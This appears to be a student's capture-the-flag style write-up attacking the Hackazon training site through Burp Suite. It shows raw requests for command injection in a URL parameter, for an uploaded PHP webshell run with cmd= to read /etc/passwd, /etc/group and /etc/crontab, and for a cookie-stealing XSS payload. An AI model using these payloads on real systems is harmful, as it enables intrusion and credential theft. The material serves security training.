

For part 1 I used URL manipulation in order to trick hackazon into giving me info from /etc/hosts and /etc/passwd

Target: http://hackazon.com

Request

Raw Params Headers Hex

```
GET /account/documents?page=cat%20/etc/hosts HTTP/1.1
Host: hackazon.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hackazon.com/account/documents
Connection: close
Cookie: PHPSESSID=lspek89ikh6s30dcffv71sgub6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

Raw Headers Hex HTML Render

Here I typed cat /etc/host

- o [Girls](#)
- o [Boys](#)
- o [Baby](#)
- [Beauty, Health & Grocery](#)
 - o [Natural & Organic](#)
 - o [Mens Grooming](#)
 - o [Luxury Beauty](#)
 - o [Health, Household & Baby Care](#)
 - o [All beauty](#)
- [Automotive & Industrial](#)
 - o [Automotive Tools & Equipment](#)
 - o [Automotive Parts & Accessories](#)
- [Arts, Crafts & Sewing Coupons](#)
 - o [Sewing](#)
 - o [Scrapbooking](#)
 - o [Painting](#)
 - o [Jewelry-Making](#)
 - o [Craft Supplies](#)

Search!

Cat /etc/hosts

0. [Home](#)
1. [Documents](#)
2. Cat /etc/hosts

```
127.0.0.1 localhost::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.17.0.2
a6c09af06ce
```

Copyright © NTObjectives 2014

20,624 bytes | 31 millis

Here is the list of hosts

Target: http://hackazon.com

Request

Raw Params Headers Hex

```
GET /account/documents?page=cat%20/etc/passwd HTTP/1.1
Host: hackazon.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hackazon.com/account/documents
Connection: close
Cookie: PHPSESSID=lspek89ikh6s30dcffv71sgub6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

Raw Headers Hex HTML Render

Here I typed cat /etc/passwd

- [Arts, Crafts & Sewing Coupons](#)
 - o [Sewing](#)
 - o [Scrapbooking](#)
 - o [Painting](#)
 - o [Jewelry-Making](#)
 - o [Craft Supplies](#)

Search!

Cat /etc/passwd

0. [Home](#)
1. [Documents](#)
2. Cat /etc/passwd

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuid:x:100:101:/var/lib/libuid: syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,../nonexistent:/bin/false
```

Copyright © NTObjectives 2014

21,465 bytes | 33 millis

Here is the list of passwords

Burp Suite Community Edition v1.7.36 - Temporary Project

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options

3 x 5 x ...

Go Cancel < >

Request

Raw Params Headers Hex

```
GET //user_pictures/18/webshell.php?cmd=cat+/etc/hosts
HTTP/1.1
Host: hackazon.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=lspek89ikh6s30dcffv71sgub6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 06 Feb 2020 00:43:32 GMT
Content-Type: text/html
Content-Length: 409
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.11
Vary: Accept-Encoding
```

127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2 a6c09afd06ce
172.17.0.2 a6c09afd06ce

Here I typed cat /etc/host

Here is the list of hosts

? < + > Type a search term 0 matches

Done 409 bytes | 4 millis

For part 2 I uploaded a PHP webshell and used URL manipulation in the form of cmd=<input> in order to trick hackazon into giving me info from /etc/hosts, /etc/passwd, a list of groups, the distro, and any cronjobs.

Burp Suite Community Edition v1.7.36 - Temporary Project

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

3 x 5 x ...

Go Cancel < >

Target: http://hackazon.com

Request

Raw Params Headers Hex

```
GET //user_pictures/18/webshell.php?cmd=cat+/etc/passwd
HTTP/1.1
Host: hackazon.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=lspek89ikh6s30dcffv71sgub6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 06 Feb 2020 00:49:32 GMT
Content-Type: text/html
Content-Length: 1280
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.11
Vary: Accept-Encoding
```

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101:./var/lib/libuuid:
syslog:x:101:104:./home/syslog:/bin/false
mysql:x:102:105:MySQL Server,../nonexistent:/bin/false
mysql:x:102:105:MySQL Server,../nonexistent:/bin/false

Here I typed cat /etc/passwd

Here is the list of passwords

? < + > Type a search term 0 matches

Done 1,280 bytes | 5 millis

Target: http://hackazon.com

Request

Raw Params Headers Hex

```
GET //user_pictures/18/webshell.php?cmd=cat+/etc/group HTTP/1.1
Host: hackazon.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=lspek89ikh6s30dcffv71sgub6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Date: Thu, 06 Feb 2020 01:29:45 GMT
Content-Type: text/html
Content-Length: 554
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.11
Vary: Accept-Encoding

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
```

Done 766 bytes | 4 millis

Target: http://hackazon.com

Request

Raw Params Headers Hex

```
GET //user_pictures/18/webshell.php?cmd=uname HTTP/1.1
Host: hackazon.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=lspek89ikh6s30dcffv71sgub6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Date: Thu, 06 Feb 2020 00:52:29 GMT
Content-Type: text/html
Content-Length: 11
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.11

Linux
Linux
```

Done 199 bytes | 66 millis

Target: http://hackazon.com

Request

Raw Params Headers Hex

```
GET //user_pictures/18/webshell.php?cmd=cat+/etc/crontab
HTTP/1.1
Host: hackazon.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=lspek89ikh6s30dcffv71sgub6
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Date: Thu, 06 Feb 2020 01:27:57 GMT
Content-Type: text/html
Content-Length: 723
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.11
Vary: Accept-Encoding

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the
# 'crontab'
# command to install the new version when you edit this
# file
# and files in /etc/cron.d. These files also have
# username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report
/etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd
/ && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd
/ && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd
/ && run-parts --report /etc/cron.monthly )
#
#
```

Here I typed cat /etc/crontab

Here is the list of cronjobs

Done 935 bytes | 47 millis

For part 3 I used a javascript snippet in order to make my session ID appear in a popup window. This is also part of the challenge

Here I typed <script>alert(document.cookie)</script>

Waiting for hackazon.com...